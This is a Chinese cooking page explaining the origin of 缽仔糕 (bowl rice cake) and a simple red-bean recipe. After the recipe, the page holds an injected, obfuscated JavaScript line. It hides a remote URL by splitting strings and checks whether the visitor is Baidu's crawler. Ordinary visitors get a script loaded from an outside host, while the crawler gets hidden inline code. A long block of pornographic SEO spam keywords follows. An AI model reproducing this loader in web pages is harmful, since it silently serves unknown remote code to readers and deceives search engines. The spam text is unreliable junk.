當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

缽仔糕是什么?缽仔糕怎么做?

2016-06-21 11:35:52  來源:360常識網   熱度:
導語:缽仔糕是從香港流行起來的一種小甜點,是臺灣和廣東特色傳統小吃,是一種深受年輕人和小朋友喜愛的甜品,做出來的成品糕體晶瑩雪白,表層油潤光潔、細膩嫩滑。

缽仔糕是什么?缽仔糕怎么做?

缽仔糕是什么?缽仔糕怎么做?

缽仔糕是什么?

傳統的缽仔糕為廣東小吃之一,首創于廣東省臺山縣,已有數百年的歷史。清朝咸豐間(公元1851—1861年)成書的《臺山縣志》載:“缽仔糕,前明士大夫每不遠百里,泊船就之。其實,當時馳名者只一家,在華豐迂橋旁,河底有石,沁出清泉,其家適設石上,取以洗糖,澄清去濁,以缽盛而蒸之,非他人所用。”故后人采用缽仔來蒸糕之法一直傳下來,成就如今的廣東缽仔糕,以至風靡全國,甚則海內外。

缽仔糕是從香港流行起來的一種小甜點,是臺灣和廣東特色傳統小吃,是一種深受年輕人和小朋友喜愛的甜品,做出來的成品糕體晶瑩雪白,表層油潤光潔、細膩嫩滑,質爽軟件而潤滑、味甜洌而清香,吃起來有粘韌性(筋道)而不粘牙,且有多種風味可供選擇,如相思紅豆味、草莓味、水蜜桃味、葡萄干味、香芋味、玉米味,蘋果、椰絲、菠蘿、等十幾種口味。現今在全國各大城市已經開始流行,吃的人越來越多,賣的人也越來越多。它晶瑩剔透、爽滑可口、彈齒、不沾牙、時尚、口味豐富、造合各種年齡的消費人群

缽仔糕怎么做?

食材準備:粘米粉六兩,澄面三兩,紅豆六兩,片糖八兩,水四杯。

制作步驟

1、紅豆用清水浸三小時后,隔水蒸淋。

2、粘米粉與澄面混合,以篩隔勻。徐徐加入1杯半清水開成糊狀。

3、片糖以2杯半清水煮溶后,與紅豆一同加入粉糊中拌勻。

4、將準備好水粉糊倒入已掃油之碗內,猛火蒸二十分鐘即成。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
久久精品人人爽人人爽快| 国产精品好好热在线观看| 久久精品国产72国产精福利| 国产精品2019| 国产精品水嫩水嫩| 七次郎在线视频观看精品| 2021国内精品久久久久久影院| 精品亚洲综合久久中文字幕| 四虎成人精品无码永久在线| 国拍在线精品视频免费观看| 久久九九AV免费精品| 国产三级精品三级在线观看专1| 蜜臀91精品国产高清在线观看| 久久精品黄AA片一区二区三区| 91精品国产高清91久久久久久| 国产精品情侣自拍| 95在线观看精品视频| 99热成人精品国产免国语的| 熟女少妇精品一区二区| 精品99在线观看| 国产精品无码AV天天爽播放器| 亚洲视频精品在线观看| 亚洲国产精品无码av| 99久久精品影院老鸭窝| 亚洲精品成人片在线观看| 在线91精品亚洲网站精品成人| 国产69精品久久久久APP下载| 久久er99热精品一区二区| 久久精品国产99精品最新| 人妻少妇无码精品视频区| 国产91精品一区二区麻豆亚洲| 国产精品99久久免费| 四虎精品在线视频| 欧美精品VIDEOSEX性欧美| 国产精品自产拍在线观看| 亚洲国产日产无码精品| 99精品热女视频专线| 亚洲国产精品久久66| 久久精品中文字幕免费| 国产成人精品无码播放| 久久91精品国产91久久户|